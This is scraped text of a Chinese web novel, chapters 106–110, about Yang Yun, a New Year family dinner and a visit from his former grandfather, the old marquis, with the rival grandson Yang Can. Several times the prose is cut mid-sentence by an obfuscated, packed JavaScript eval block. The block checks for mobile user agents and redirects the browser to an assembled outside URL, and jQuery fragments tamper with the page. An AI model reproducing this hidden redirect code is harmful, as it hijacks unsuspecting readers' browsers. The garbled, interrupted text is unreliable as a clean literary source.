杨云仔细打量说话的青年，他大概二十一二岁，面上带着淡淡的风霜之色，脸上的笑容有些许油滑，却能看出藏在眼神深处的朝气。 这人他以前没见过，看杨正春和杨正泰他们两人的反应，这人应该也不是杨玉昭和杨玉竹的孩子。 想到这里，杨云端起茶杯冲着那个青年致意，疑惑地看着他问：“堂弟？” 青年看着杨云微微一笑，十分贴心地将桌上的人都给他介绍一遍， “我是你的大堂哥，杨正深，这三个是二叔的孩子，正春，正浓，还有弟弟正盛。” “正泰和正兴是四叔的儿子，咱们都是杨家的最小一辈。” 杨云若有所思地点头，以水代酒抿一口，看着杨正深问： “堂……堂哥，听你的意思，你也听过京城的很多传闻？” 见到杨云喝一口水，杨正深也端起来水抿一口，脸上带着浅浅的笑意说： “我在县城的品合堂做学徒，偶尔听师父提起过京城几句。” 品合堂？ 杨云的目光中闪过一丝茫然，他去县城的次数也不少，却从来没听过品合堂的名字。 见杨云连品合堂也没听过，杨正春的脸上不由得闪过一丝得意， “品合堂是县城里最大的当铺，正深哥是在品合堂，给大朝奉做学徒的。” 听道是个当铺，杨云有些哭笑不得，自从回到青山村，他手边的钱没缺过，救下赵文盛后，更是不缺钱花，自然不知道现成的当铺叫什么。 但他也知道，当铺里分头柜二柜三柜，其中以看头柜的大朝奉最有本事。 如果杨正深能跟着大朝奉学出来的话，在东平县城也算是个有头有脸的人物。 杨云恍然大悟地点头，冲着杨正深拱拱手说： “原来是日后的当铺大朝奉，失敬。” 自开席后，杨正深对杨云的态度还不错，杨云说几句客套话是应该的。 虽然杨正深非常努力地装老成，但听到杨云的话，还是忍不住笑出来，口中连说： “不敢不敢，我的本事还差得远，得好好再学几年才行。” 对杨家的孙辈有简单的了解，杨云又在杨正泰的询问下，开始说京城的事。 人流如织的街道，形形色色的摊贩，吃不完的珍馐美味，数不尽的玩乐之事，听得桌上的人心驰神往，甚至连饭都忘记吃。 趁着众人叽喳议论的时候，杨云偷眼看一下里面那桌，见母亲的神色没有什么异样，才放下心来，继续吃饭。 杨玉昭和杨玉竹对自家都有很深的敌意，杨云生怕他们会在饭桌上刁难母亲。 但仔细想想，杨老爷子还在桌上，他们两个应该不敢放肆到这种程度。 半个时辰后，饭菜吃得差不多，杨老爷子冲着杨玉竹说： “玉竹，你带着媳妇们和孩子们出去放鞭炮烟花吧，大过年要有个响声才热闹。” 杨玉竹起身出房门，让下人把之前买的鞭炮烟花都拿出来，年龄比较小的几个孩子不用招呼，冲过去，唯有杨云和杨正深站在后面，背着手旁观。 里面那一桌的媳妇们，起身准备去看烟花，杨云注意到，一个四十岁左右的妇人，跟母亲并肩走在一起，不时还说这些什么。 杨云心中暗动，冯氏李氏他都见过，这妇人却陌生得很，想来他是杨正深的母亲。 眼看人都去外面，杨玉昭也准备去凑个热闹， 这时候，一直坐着不动的杨老爷子忽然开口，“玉昭，你去把杨云叫过来，我有话对你们两人说。” 杨玉昭诧异地看父亲一眼，点一下头，慢步走到杨云身边，例行公事般地说： “杨云，老爷子找你。” 正在看烟花的杨云，听到老爷子找他，知道今晚的重头戏来了，理理心神跟杨玉昭一起来到杨老爷子身前。 “你们两个坐。” 杨老爷子让两人坐下后，忽然轻轻叹气，眼中露出追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513309|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆之色， “你们两个都是青山村的人，小云来得晚，可能不知道。玉昭你应该知道，青山村是什么时候正式成村的吧？” 杨云眉头微皱，不知道杨老爷子突然扯这些东西干什么，但他没有着急，只是静静听着。 杨玉昭从小生活在青山村，对村里的事了如指掌，口若悬河地说 “一百二十年前，商州大旱，赤地千里，咱们杨家的第一代老祖为活命，逃到东平县，和同乡的几个兄弟在这里开荒种地，娶妻生子。” “三十年后，在这里生活的人越来越多，东平知县知道后，亲自来访，确定这里有百姓聚居后，正式上书朝廷，将这里起名为青山村，编入县城黄册之中。” 听完杨玉昭的讲述，杨云点点头，原来小小的青山村，竟还有这么一段历史。 杨老爷子眼中闪过一丝欣慰之色，感慨地说： “当年爷爷还在的时候，曾跟我讲过他们刚到这里的时候，日子过得有多难。” “好不容易搭起来的茅草屋，一场大风刮走了，开荒出来的田，刚种上庄稼，有人来争；好不容易安稳下来，想说媳妇又是个大难题。” “但这么多困难，始终没有打倒爷爷他们，小云，你知道这是为什么吗？” 刚才是杨玉昭讲述，现下轮到杨云回答问题。 被问到的杨云一脸茫然，他想不到杨老爷子准备说什么，只能小心翼翼地回道： “因为祖爷爷他们坚韧不拔，不管遇到什么事都百折不挠，才有最后的兴旺。” 这个答案属于标标准准，完全挑不出毛病的答案，却不是杨老爷子想要的。 他转头看向另一边的杨玉昭，又问同样的问题，“你觉得爷爷他们，为什么能够成功？” 原本杨玉昭想得跟杨云说得一样，但见到父亲脸上平淡无波，他思索片刻换一个答案， “因为祖爷爷他有本事，不管遇到什么情况，最终都能靠自身的智慧，一一化解。” 第106章 家和万事兴 第一百零六章家和万事兴 听到杨玉昭的回答，杨老爷子的脸上泛起一丝淡淡笑容，轻声反问： “智慧？智慧确实很重要，但你以为仅靠智慧够了？” “要是有人蛮不讲理，就是要巧取豪夺，甚至明抢，你说的智慧又能有几分用？” 杨云的回答在于坚韧，杨玉昭的回答侧重智慧，两个人的回答都对，但都没说到杨老爷子的心坎上。 乡下人淳朴憨厚，但动起手来是真下死守，所谓的智慧，在砸下来的锄头前屁用没有。 杨云和杨玉昭不明白老爷子到底想说什么，只能低头不语，等着他揭晓答案。 见到两人不再说话，杨老爷子端起酒杯浅浅抿一口，看着外面因为鞭炮声大呼小叫的孙辈，不紧不慢地说： “告诉你们，青山村之所以能从区区几户，正式成村，在于所有人都是一条心！” “一家人遇到困难，剩下的几家能拿出家底去帮忙，外人敢抢咱们的地，不论男女老少，全都上去干仗，不把抢地的人打服，绝不收手！” “正是因为全村的人都是一条心，青山村才会越来越壮大！” “村子是这样，家族也是这样！” 杨云已经猜到老爷子的意图，但他没有开口，只是静静地站在原地。 他和杨玉昭之间的仇怨，本来不是他起的头，道歉的话也不该由他说。 杨玉昭同样紧闭着嘴，他是村里有头有脸的人，却被杨云搞得灰头土脸，甚至连家门都不能出，在这时候跟杨云握手言和，那不是承认他输？ 见到两人都不吭声，杨老爷子眼中闪过一丝失望之色，只能把话对两人挑明， “你们两个都是咱家的读书人，玉昭你还有功名，咱们杨家兴盛有望。” “但我万万没想到，别人没给咱家下绊子，你们两个反倒打得不可开交，甚至惊动族老。” “老话说得好，家和万事兴。你们两个是咱们杨家未来的中流砥柱，要是继续斗下去，咱们家几辈人攒下来的基业，得毁在你们两人手里。” 杨云眉毛微挑，果然是这样，老爷子叫他们母子来吃年夜饭，真正的主菜是这番话！ 只是他对这件事无所谓，但以杨玉昭的气量，未必会低头认输。 见把话说得这么直白，两人还是不吭气，杨老爷子有些恼怒，点名， “玉昭，你是长辈，你先说说你怎么想的。” 听到老爷子点他的名，杨玉昭不能再装聋作哑，只能含含糊糊地说：“父亲说得有道理，儿子记在心里了。” 杨云心中冷笑，也有样学样地说：“爷爷的话真是振聋发聩，让我受益匪浅，我会时刻铭记的。” 两人的话都说得很漂亮，但都是记住，完全没有说按杨老爷子的话去做。 杨老爷子活这么多年，当然看出来两人耍的小花招，长叹一声，苦口婆心地说： “玉昭，当年你大哥得急病没了，是正在读书的你，放下学业，帮我撑起这个家。” “正是因为这件事，你**名才晚好几年，但我相信，如果让你再来一次，你还是会这么做！” 杨玉昭的神色微微激动，他没想到，父亲一直把他的付出，默默记在心里！ 连杨云也略显诧异地瞥一眼杨玉昭，他没想到，这个小肚鸡肠的二叔，竟还做过这样的事。 杨老爷子说完杨玉昭，转头看向杨云，眼神中有欣慰有失落， “小云，你前十八年在京城生活，眼界高，看不起我们这小村子的人很正常。” “但你应该记住，你是杨玉明的儿子，这一点无论如何都改变不了！” “玉昭是你二叔，就算他做得有什么不对，你也要记住，他是你父亲的亲兄弟，你们是一家人！” 或许是老爷子的话终于触动杨玉昭，或许是杨玉昭觉得老爷子啰啰嗦嗦太烦，想早点结束这场谈话，他起身倒一杯酒，又拿一个新杯倒一杯。 杨玉昭一手端着一杯酒，来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杨正深和他娘住在祖宅，杨玉竹家里人早早到了，杨云吃一会儿瓜子，杨玉昭领着全家人来了。 第107章 拜年 第一百零七章拜年 杨云和杨玉昭的目光在空中撞一下，两人脸上浮起虚伪的笑容，冲着对方点点头。 全家人都到齐后，在厅里坐一会儿，热热闹闹地开始拜年。 杨老爷子穿着一领光滑水亮的皮袄，笑呵呵地坐在屋中的太师椅上。 杨正深的母亲跪在左手第一位，接着是杨玉昭两口子、姜梅，最右边是杨玉竹两夫妻，几人跪好后，齐声说： “恭贺新禧，祝父亲长命百岁，康健平安！” 听到这么多儿子儿媳给他拜年，杨老爷子乐得眼睛都睁不开，两手在空中虚扶， “好孩子，好孩子！都快起来，这是我给你们的红包！” 杨老爷子说着，掏出早准备好的红包，让众人上前去领。 大人们拜完年坐在旁边，杨正深领着一众堂弟堂妹上前磕头，十分懂事地说： “孙子，孙女给爷爷拜年！祝爷爷笑口常开，青春常在！” 看着一个个比他还高的孙子孙女，杨老爷子连声称好，又把红包给众人。 接下老爷子的红包，杨家孙辈的人给叔叔婶婶拜年，一时间所有人其乐融融。 姜梅更是乐不可支，拿着红包不停给小辈们发，这是她十八年来第一次在祖宅过年。 众人在杨家打一会麻将，吃过午饭后各自回家，杨云跟母亲说一声，去四方村给周仲拜年。 忙忙碌碌之间，新年在欢声笑语中过去。 这天，数十位骑马的护卫簇拥着三驾马车缓缓进入青山村。 正在村中磨盘旁边聚着聊天的村民们都被惊呆，她们从来没有见过这么庞大的阵仗。 即便是知县进村，也不过是铜锣开道，几个衙役护着一顶轿子。 但面前这支队伍，光是护卫们骑的马已比人高上一头，明显精挑细选后的良驹，一匹怕不是要几十两银子。 为首的护卫辨一下方向，打马来到众人身前，居高临下地问： “你们这里是青山村吧？杨玉明家怎么走？” 被问的村民你看看我，我看看你，最终有个比较胆大的人，指个方向， “你们顺着这条路一直走，看到三间新盖的瓦房就是他们家了。” 护卫从腰间摸出一块一两左右的散碎银子，扔给那个村民，转身回到队伍中轻声交代几句，策马向前，探路去。 等到车队离开后，聚在一起聊天的人们，羡慕地看着刚才回话的人，有些懊恼地说： “杨玉明家离我们家几十步远，我刚才怎么没想起来说呢！” 拿到赏银的村民，乐呵呵地将银子揣好，斜着眼睛看着说话的人，打趣道： “你那时候应该是被吓傻了！” 被打趣的村民涨红脸，带着几分羞愧和怒气，嘴硬着说： “说得好像你们没有被吓傻一样，那马太高太壮了！你们说，这些是什么人？” 那么多高头大马，还有那么多威风凛凛的护卫，来得明显不是普通人。 村民们兴高采烈地猜测，但最后谁也没拿出个能让人信服的说法。 被人议论的车队已经来到杨云家门前，问路的护卫，示意车队停下，翻身下马，在大开的院门上轻轻敲几下，站在院中高声问道： “请问家里有人吗？” 杨云正在屋里读书，没有理会，堂屋做衣服的姜梅闻声出门，看着站在院里的彪形大汉，眉头微微皱一下，轻声问道： “请问你是哪位？有什么事？” 护卫上下打量姜梅一番，眼神中闪过了然之色，抱拳说： “你是姜梅姜夫人吧？在下赵烈，此次是为……云公子前来，不知云公子在何处？” 原本赵烈想按以前的习惯，称呼杨云为世子，但杨云从侯府离开，代表已经放弃世子之位，他再这么称呼不合适，只能叫云公子。 姜梅不知道赵烈到底是什么人，只能狐疑地让赵烈等一下，她去东屋叫杨云。 正在屋中读书的杨云，听到方才赵烈和姜梅的话，他仍旧保持着读书的姿势，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513311|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神空洞，很明显在回想着什么。 “云儿，云儿！外面有人找你，看起来凶神恶煞的，会不会有什么危险？” 姜梅连续叫好几声，才让杨云回过神来，担忧地看着他说。 从上次北夷刺客的事情后，姜梅看到外人觉得心惊肉跳，生怕他们是来报复杨云的。 见母亲忧心忡忡的样子，杨云将手中的书放下，挤出一丝微笑说： “娘，你不用担心，这个赵烈我认识，交给我招待即可，你回去做衣服吧。” 杨云和姜梅并肩出东屋，赵烈见到杨云想行礼，却被杨云开口打断， “赵大哥，你稍等一下，我先把我娘送回屋里，咱们再慢慢叙旧。” 赵烈听出杨云的弦外之音，轻轻点点头，看着他把姜梅送回屋去。 将房门关上，杨云快步来到赵烈面前，满脸笑容地冲他拱拱手，“赵统领，这大过年的，你怎么来了？” 虽然大年初一已经过了，但离十五还有好几天，按照村里的规矩，出十五，年才算过完。 赵烈面色一肃，冲着杨云低声说：“不是我来了，是老侯爷来了。” 杨云愣一下，脑海中浮现出一个慈祥老人的面容，下意识问道：“爷爷？他老人家怎么来了？” 在侯府的时候，老侯爷跟杨云十分亲近，不管他有什么要求，老侯爷都会答应，每次去边关巡视，都会给杨云带新玩具回来。 若是杨云和姜梅相认的时候，老侯爷在场，事情未必会发展到不可收拾的地步。 赵烈看着杨云，没有说话，眼中闪过一丝无奈之色。 杨云立刻明白他的意思，爷爷在天寒地冻的时候，赶那么远的路，为的是见他一面。 他心中幽幽叹一口气，话语中带着几分苦涩问道： “爷……老侯爷在何处？等我沐浴更衣之后，立刻前去拜见他老人家。” 赵烈面上显出一丝古怪之色，身子往旁边一侧，将大门露出来， “侯爷，在门外！” 第108章 重逢 第一百零八章重逢 听到爷爷在门外，杨云的眼睛睁大，不假思索地向门外跑去！ 原本杨云以为，老侯爷到东平县后，肯定在县城找地方住下，派赵烈传信，让他去县城见他。 这本来是很正常的事，自古以来都是晚辈去看长辈，从没听过长辈去看晚辈。 但今天，这件事它实实在在，真真切切地发生了！ 杨云冲到门外，果然看到数十骑精锐人马，还有那辆熟悉无比，天应侯府的马车！ 在看到马车的一瞬，杨云只觉得鼻头微酸，眼中不由自主地有泪光闪动。 劳累爷爷大冬天的跑这么远，他真是不该…… 恰好在这个时候，天应侯府的马车掀开车帘，一个须发皆白，但目光如鹰锐利的老人，探出脑袋，一眼看到站在车队之前的杨云！ 老人凌厉的目光，变得柔和，还带着几分心疼！ 这么长时间不见，孙子黑了，瘦了，身上穿的只是普通棉衣，远没有侯府的貂裘大氅保暖，华贵。 但杨云之前那种令人讨厌的浮躁之气，也被打磨掉很多，变得沉稳，干练。 看来这里的生活不是很好，但确实能锻炼人。 两人隔空对视片刻，杨云才回过神来，小跑到马车之前，躬身对着老人行礼， “草民杨云，见过……侯爷！” 听到侯爷两个字，老侯爷杨卓承的心凉了，他千里迢迢跑来，没想到却换来孙子这么冷漠的称呼。 但他还没办法挑杨云的毛病，毕竟从侯府离开的时候，杨成罡亲口说过，从此以后，杨云与天应侯府再无瓜葛，甚至连这三个字都不准提！ 年近六十的杨卓承，脸上勉强挤出一丝悲凉至极的笑容，看着杨云说： “云儿，你难道不认我这个爷爷吗？” 一声云儿，叫得杨云心里酸涩难受，他当然想认这个爷爷，但他不能！ 杨云永远忘不了，当初杨成罡在离开天应侯府时，对他说过，从此他与侯府再无瓜葛！ 毕竟杨成罡才是老侯爷的亲生儿子，他就算勉强搭着老侯爷重回天应侯府，一样要受人白眼，还得被人讥笑，为富贵荣华，连亲爹不认。 想到这里，杨云用尽全力将心中的难过压下去，低着头恭敬地说： “侯爷，大将军应该跟您禀告过，我不是天应侯的血脉，爷孙自然也无从提起。” 一番话说得杨卓承无言以对，儿子把孙子赶出家门，这件事太难处理。 在知道杨云被赶出家门后，杨卓承将边关军务打理好，立刻向皇帝请旨，回京探亲。 皇帝也知道天应侯家里那点事，十分痛快地下旨准奏。 接到圣旨的那一刻，年近六十的老侯爷星夜兼程，用最快速度赶回京城。 回府后，老侯爷连身上的衣服都没换，立刻将杨成罡和他媳妇余氏叫过来痛骂一顿。 本来他想骂完，立刻派人将杨云接回来，毕竟天应侯府这么多人，不差这一两双筷子。 没想到，两人真正的儿子，杨灿战战兢兢地看着他，颤颤巍巍地问道： “爷爷，难道您不喜欢我这个亲孙子吗？” 老侯爷立时无语，他看着跟他小时候有几分相像的亲孙子，柔声安慰，接人的计划也只能暂时搁置。 但没想到这一耽搁是好几个月，直到过完年后，老侯爷才有机会带人来找杨云。 料峭寒风之中，车上车下的两人，默然对立，以往无话不谈的两人，似没什么话可说。 “爷爷，这里风大，您小心点别受凉。” 在杨卓承想着怎么打破僵局的时候，一个清爽干脆的声音悠悠传来。 杨卓承和杨云抬头，只见杨灿穿着一身玄色大氅，慢慢走到近前，将一个精美的掐丝珐琅暖炉递给杨卓承，脸上满是关切之意。 杨卓承下意识想要伸手接过，但手伸到一半，想起杨云还在场，不由得尴尬地停住。 要是接下，杨云心里肯定会不舒服，甚至生出不好的想法。 要是不接，亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522429|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙子杨灿必然伤心，觉得他一个根正苗红的嫡亲孙子，还不如一个外人！ 眼看爷爷的手停住，杨灿不着痕迹地瞄一眼杨云，主动伸手把暖炉放在杨卓承手上，笑呵呵地说： “爷爷，这个暖炉我已经试过温度，不烫不凉，正好用来暖手。” 暖炉已经到手里，杨卓承自然不能当着两个孙子的面扔掉，只能苦笑着接过。 杨云面上没有什么表情，心中却对杨灿的小花招不以为然。 这种争宠的手段，他在侯府的时候已十分不屑，更不用说现下。 看着爷爷将暖炉接过，杨灿颇为得意地看向杨云，故作惊讶地说： “云哥儿，你不会是一直要站在这里吧？爷爷虽然身子骨硬朗，但也不能陪着你一直在外面吹冷风吧！” 这话明面上是在关心老侯爷，实际上却是在给杨云上眼药。 老侯爷千里迢迢来找杨云，杨云却连家门不让老侯爷进，这是不懂礼数，让老爷子陪着他吹冷风，这是不尊长辈。 这样不把老侯爷放在心上的人，老侯爷自然也没必要把他带回侯府。 只是杨灿没想到，杨云还没开口，老侯爷杨卓承主动开口说： “没事，这点小风对我来说不算什么！爷爷没你想得那么弱！” 杨云当然知道老侯爷的身子很棒，还穿着貂裘，吹会风没什么关系。 但正如杨灿说的那样，让老侯爷在这里待着太失礼，还是请他到家里坐坐为好。 想到这里，他笑呵呵地冲着杨灿拱拱手，假装没有听懂他的意思， “多谢世子殿下提醒，侯爷，若是不嫌寒舍简陋，还请侯爷移步，进屋一叙。” 杨卓承对孙子的要求，自然是满口答应，立刻下车，跟着杨云来到他家门前。 见他的小花招没有影响到老侯爷，杨灿也立刻跟过来。 但看到杨家的三间瓦房，杨灿眼中闪过一丝震惊，皱着眉头说： “杨云，你是不是早知道爷爷要来？” 第109章 钱从哪来 第一百零九章钱从哪来 杨灿清楚地记得，他和姜梅离开青山村的时候，家里只有一间四处漏风，夏暖冬凉的茅草屋，怎么短短几个月没见，突然变成三间瓦房？ 这肯定是杨云得知老侯爷要来，为在老侯爷面前表现一番，故意借钱租来的房子！ 老侯爷见到杨云短短时间，把茅草屋变成瓦房，心中肯定会对杨云的能力大加赞赏，更舍不得让他在青山村这个小山村是吃苦受罪！ 杨灿心中冷笑，你这些小花招能骗得过爷爷，却骗不过我！ 看着杨灿质疑的眼神，杨云轻轻摇头，实话实说，“我不知道爷……侯爷要来，不然我肯定会在村口迎接。” 不管是老侯爷的年纪还是地位，都值得杨云这么做。 老侯爷脸上露出一抹笑容，打量着干干净净的院子，平静地说：“我听说青山村的条件不好，你只能住在茅草屋中，现下看来这些传言不足为信。” 三间瓦房比不上侯府的高门大院，但对一般百姓，已经算是很不错的地方。 听到爷爷如释重负的言语，杨灿生怕杨云会趁此机会显摆能力，连忙岔开话题说： “爷爷，外面看不清楚，咱们进里面好好看看吧！” 杨云的眼睛转转，猜到杨灿的小心思，但也没有点破，只是跟着侯爷走进院中。 刚进院门，杨云冲着堂屋大声喊道： “娘，您快出来迎接贵客！” 姜梅放下手中的针线，立刻从堂屋跑出来，掀开门帘一看，杨云站在两个人身边。 这两人一老一少，老的看起来气度非凡，站在那里如同一支笔直的**。 老人身边的少年人，竟是她朝思暮想的杨灿！ 看到杨灿的一瞬，姜梅眼眶中立刻泛起泪花，一段时间不见，杨灿外貌没有多大变化，但身上却养出淡淡的贵气，让人不敢轻易接近。 “灿儿，你回来了……” 姜梅的思子之情太过强烈，眼中满是杨灿的身影，甚至连他身边那个老人都彻底忽略。 眼看姜梅想要跑过来摸他的脸蛋，杨灿眼中飞快地掠过一丝厌恶，嘴上提醒说： “娘，你先别激动，我这次是跟着爷爷一块来的，您应该先拜见爷爷。” 一句话，既免去跟姜梅的接触，还能让爷爷看见他的孝心，简直两全其美。 在知道他的真实身世后，杨灿对姜梅恨之入骨！ 如果不是这个贱女人，他也不会在青山村吃十八年的苦头，更不会跟亲生母亲分开！ 她现下竟还有脸叫他灿儿，若不是老侯爷在场，杨灿根本不会多看这个女人一眼！ 但为能在老侯爷心里留下个好印象，他还是心不甘情不愿地叫一声娘。 听到杨灿说爷爷，姜梅愣在原地，好一会儿才反应过来，连忙跪下给老侯爷磕头， “无知民妇拜见侯爷！不知侯爷大驾光临，民妇未能出门迎接，还请侯爷恕罪！” 姜梅在天应侯府做过事，懂得一些礼数。 侯爷的身份非常尊贵，她在家里等着侯爷上门，属于失礼到极点。 老侯爷对这些繁文缛节不是很在乎，满意地看一眼杨灿，淡淡地说：“起来吧。” 对姜梅这个女人，老侯爷心中一点好感都没有，甚至有几分嫌恶。 当年若不是她把两个孩子调包，也不会有今日之事，更不会让天应侯府沦为笑柄。 但她偏偏又是他养十八年孙子的亲生母亲；还是他亲孙子的养母，不好下手除掉，只能冷淡对之，假装看不到她。 姜梅跪在地上不敢动，杨云上前将她搀起来，小声说：“娘，既然侯爷让你起来，你起来吧，顺便去烧点水，给侯爷泡点好茶。” 听到儿子的话，姜梅才慢慢地站起来，依依不舍地看一眼杨灿，跑去厨房烧水。 看到杨灿活得很好，姜梅已经心满意足，不敢再有别的奢求。 碍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522430|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼之人离开，侯爷的脸色好看许多，他在院中扫一圈，带着几分笃定说：“云儿，这三间瓦房是新盖的吧。” 瓦房的砖瓦都是新色，老侯爷行军打仗这么多年，眼力毒辣，自然一眼看出来。 杨云轻轻点头，脸上带着几分自豪之色，翘着嘴角说：“去年九月底彻底完工，虽说有些简陋，但总算是有个家。” 老侯爷心中微叹，以为这是杨云在暗示他，天应侯府已经不是他的家。 杨灿见最终还是让杨云显摆到，心中冷哼一声，故意装作好奇地问： “云哥儿，我记得我回府的时候，这里只有几间茅草屋，你走的时候，也没带什么银子。” “这盖房子的钱是从哪来的？不会是你仗着天应侯府的名头，跟别人要来的吧？” 老侯爷眉头皱一下，他最讨厌的是，仗势欺人，尤其是仗他的势。 最重要的是，以杨云以前顽劣的性格，很有可能干出这种事。 杨云知道杨灿是在给他挖坑，他轻轻哼一声，轻描淡写地说： “之前县城里发生一件灭门案，我帮知县把这件案子破了，知县赏我五十两银子，我用这些银子，盖下房子。” 现下青山村都知道杨云家至少有一千两银子，这五十两银子也没必要保密。 杨灿面色微变，原本他是想给杨云扣个讹诈钱财的帽子，没想到他不仅没上当，反而把另外一件彰显能力的事扯出来。 听到杨云竟能破一桩灭门案，老侯爷不由得惊奇地看他一眼，这小子之前在侯府的时候，整天调皮捣蛋，没想到还藏着这种本事！ 老侯爷脸上带着淡笑，伸手轻轻摸两下胡须，不紧不慢地问：“云儿，你能不能说说，你怎么破这件案子的？” 旁边的杨灿听到老侯爷主动问起，心中知道不好，眼睛一转，笑呵呵地抹黑杨云， “该不会是那知县早知道你的身份，才找这么个借口，故意送钱给你吧！” 第110章 杨灿麻了 第一百一十章杨灿麻了 天应侯府世子，比本地知县高不知道几个层级，想要巴结杨云也不足为怪。 杨云看着杨灿阴狠，嫉妒的眼神，淡淡一笑，不紧不慢地把当初破案的经过讲一遍。 听到孙子，竟被冤枉入狱，老侯爷的眼神沉下来，冷声说： “我看这知县也是个糊涂官，竟不辨黑白，胡乱抓人，得向陛下参他一本才是！” 孙子受委屈，爷爷自然要出面，这一本参上去，石任远丢官罢职是板上钉钉的事。 朝中没有任何人会为一个小小的知县，得罪功勋卓著的老侯爷，何况石知县还没有后台。 见到老侯爷不像开玩笑的样子，杨云连忙替石知县辩解， “知县也不是胡乱抓人，我的手帕不知道为什么，出现在那里，知县才把我捉去。” “后来搞清楚我是无辜的，知县立刻把我放了。侯爷不必怪罪他。” 石知县在东平县城的官声还算不错，跟杨云也有几分交情，要是因此丢官却是不值。 老侯爷脸色有些不悦，看着杨云说：“这怎么能行？总不能让你白关好几天吧！” 杨灿听到手帕二字，脑海中忽然闪过一丝灵光，心中暗道，这件事不会跟他有关系吧！ 老侯爷回府后，杨灿为确定杨云这边的动向，派来两个人来监视他，若有机会顺手除掉，永远绝老侯爷去找他的念头。 这两人后来回京，正是因为栽赃杨云不成，被知县打一顿赶走的！ 想到这里，杨灿不由得有些心虚，若杨云知道手帕是这两人陷害他的，会不会联想到他身上？会不会告诉爷爷？ 不管杨云知不知道，都不能让他继续和老侯爷聊这件事！ 杨灿的眼睛轻轻眯一下，看到西屋的窗户破一个大洞，连忙转移话题说： “爷爷，既然云哥儿不想追究，那咱们听他的好了。” “对了云哥儿，你这房子不是新盖的吗？怎么西屋窗户破那么大一个洞？” 老侯爷刚才注意到西屋窗户上的洞，但他还没问，被杨灿抢先。 看着杨灿一脸天真好奇的样子，杨云轻轻笑一下，知道他已经察觉到危险。 杨云没有揭穿他，而是顺着他的话头说： “我在村口救下一个人，没想到追杀他的刺客跟过来，经过一番苦战才把三个刺客拿下，但西屋的窗户被打破。” “当时已经是十一月底，找不到人修补，只能先用糨糊粘上，等明年暖和再修。” 杨灿有些麻，刚才只是一桩灭门案，现下竟扯出一桩刺杀案，还是三个刺客！ 他恨恨地瞪一眼杨云，你不在爷爷面前吹牛会死？ 老侯爷听到杨云竟拿下三个刺客，眼神中闪过一道精光，亲自走过去看看窗户上的破口，转头问杨云，“你救的人是谁？身后竟跟着三个刺客。” 一般人要请**，也是一两个，但这个人身后竟跟着三个，显然身份非同一般。 见到老侯爷也有些怀疑，杨灿连忙帮腔说：“说不定只是村里人打架，不小心把窗户打破，其实根本没有你说得那么惊险。” 杨云没有理会杨灿，脸上闪过一丝笑意说：“那人告诉我他叫赵文盛，但应该是个假名。” 赵文盛跟杨云的约定，涉及天应侯府，杨云自然不好告诉老侯爷。 “赵文盛？” 老侯爷疑惑地念叨两遍这个名字，忽然眼睛陡然睁大，似想到某件事，略带激动地问： “追杀赵文盛的人，是北夷刺客吧！” 杨云没想到老侯爷竟会猜到刺客身份，他点头，眼神中带着几分疑惑问道： “侯爷，你知道这位赵老板是什么人？” 嘴上这么问，杨云心中却一凛，看来赵文盛在京城，不只有点地位那么简单，甚至连老侯爷都知道他！ 看来他当初说，要在他和天应侯府的争斗中，帮他一把，绝非虚言！ 没想到老爷子笑着摆手，眼神中带着一丝玩味之意， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 